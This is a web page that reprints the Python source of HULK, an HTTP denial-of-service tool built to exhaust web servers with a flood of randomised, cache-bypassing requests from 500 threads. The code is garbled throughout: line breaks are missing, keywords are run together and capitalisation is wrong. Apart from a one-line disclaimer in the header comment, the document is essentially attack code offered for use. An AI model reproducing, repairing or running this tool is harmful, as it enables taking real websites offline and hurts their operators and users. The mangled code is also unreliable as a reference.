Distributed denial of Service attacks

# ----------------------------------------------------------------------------------------------#hulk-http unbearable Load King##This tool was a DOS tool that was meant to put heavy load on HTTP servers in order to bring them#to their knees by exhausting the resource pool, it's meant for the. purposes only#And any malicious the usage of this tool is prohibited.##Author:barry Shteiman, version 1.0# ----------------------------------------------------------------------------------------------ImportUrllib2ImportSYSImportThreadingImportRandomImportRe#Global paramsUrl="'Host="'headers_useragents=[]headers_referers=[]request_counter=0flag=0safe=0definc_counter ():GlobalRequest_counter Request_counter+=1defSet_flag (val):GlobalFlag Flag=ValdefSet_safe ():GlobalSafe Safe=1#generates a user agent arraydefuseragent_list ():Globalheaders_useragents Headers_useragents.append ('mozilla/5.0 (X11; U Linux x86_64; En-us; rv:1.9.1.3) gecko/20090913 firefox/3.5.3') Headers_useragents.append ('mozilla/5.0 (Windows; U Windows NT 6.1; En rv:1.9.1.3) gecko/20090824 firefox/3.5.3 (. NET CLR 3.5.30729)') Headers_useragents.append ('mozilla/5.0 (Windows; U Windows NT 5.2; En-us; rv:1.9.1.3) gecko/20090824 firefox/3.5.3 (. NET CLR 3.5.30729)') Headers_useragents.append ('mozilla/5.0 (Windows; U Windows NT 6.1; En-us; rv:1.9.1.1) gecko/20090718 firefox/3.5.1') Headers_useragents.append ('mozilla/5.0 (Windows; U Windows NT 5.1; En-US) applewebkit/532.1 (khtml, like Gecko) chrome/4.0.219.6 safari/532.1') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; trident/4.0; SLCC2;. NET CLR 2.0.50727; INFOPATH.2)') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; trident/4.0; SLCC1;. NET CLR 2.0.50727;. NET CLR 1.1.4322;. NET CLR 3.5.30729;. NET CLR 3.0.30729)') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; trident/4.0)') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; trident/4.0; SV1;. NET CLR 2.0.50727; INFOPATH.2)') Headers_useragents.append ('mozilla/5.0 (Windows; U MSIE 7.0; Windows NT 6.0; En -US)') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') Headers_useragents.append ('opera/9.80 (Windows NT 5.2; U RU) presto/2.5.22 version/10.51')    return(headers_useragents)#generates a referer arraydefreferer_list ():Globalheaders_referers Headers_referers.append ('http://www.google.com/?q=') Headers_referers.append ('http://www.usatoday.com/search/results?q=') Headers_referers.append ('http://engadget.search.aol.com/search?q=') Headers_referers.append ('/ http'+ Host +'/')    return(headers_referers)#builds random ASCII stringdefbuildblock (size): Out_str="'     forIinchRange (0, size): a= Random.randint (65, 90) Out_str+=Chr (a)return(OUT_STR)defusage ():Print '---------------------------------------------------'    Print 'Usage:python hulk.py <url>'    Print 'You can add the "safe" after URLs, to Autoshut after DOS'    Print '---------------------------------------------------'    #HTTP requestdefhttpcall (URL): Useragent_list () referer_list () code=0ifUrl.count ("?") >0:param_joiner="&"    Else: Param_joiner="?"Request= Urllib2. Request (url + param_joiner + buildblock (random.randint (3,10)) +'='+ Buildblock (Random.randint (3,10)) ) Request.add_header ('user-agent', Random.choice (headers_useragents)) Request.add_header ('Cache-control','No-cache') Request.add_header ('Accept-charset','iso-8859-1,utf-8;q=0.7,*;q=0.7') Request.add_header ('Referer', Random.choice (headers_referers) + Buildblock (Random.randint (5,10)) ) Request.add_header ('keep-alive', Random.randint (110,120)) Request.add_header ('Connection','keep-alive') Request.add_header ('Host', host)Try: Urllib2.urlopen (Request)exceptUrllib2. Httperror, E:#Print E.codeSet_flag (1)            Print 'Response Code'Code=500exceptUrllib2. Urlerror, E:#Print E.reasonsys.exit ()Else: Inc_counter () urllib2.urlopen (Request)return(Code)#http Caller ThreadclassHttpthread (Threading. Thread):defRun (self):Try:             whileFlag<2: Code=httpcall (URL)if(code==500) & (safe==1): Set_flag (2)        exceptException, ex:Pass#monitors HTTP threads and counts requestsclassMonitorthread (Threading. Thread):defRun (self): previous=Request_counter whileflag==0:if(Previous+100<request_counter) & (previous<>request_counter):Print "%d requests Sent"%(request_counter) Previous=Request_counterifflag==2:            Print "\n--HULK Attack finished--"#ExecuteifLen (SYS.ARGV) < 2: Usage () sys.exit ()Else:    ifsys.argv[1]==" Help": Usage () sys.exit ()Else:        Print "-- HULK Attack Started--"        ifLen (sys.argv) = = 3:            ifsys.argv[2]=="Safe": Set_safe () URL= Sys.argv[1]        ifUrl.count ("/") ==2: URL= URL +"/"m= Re.search ('http\://([^/]*)/?. *', URL) host= M.group (1)         forIinchRange (500): T=Httpthread () T.start () T=Monitorthread () T.start ( )

Distributed denial of Service attacks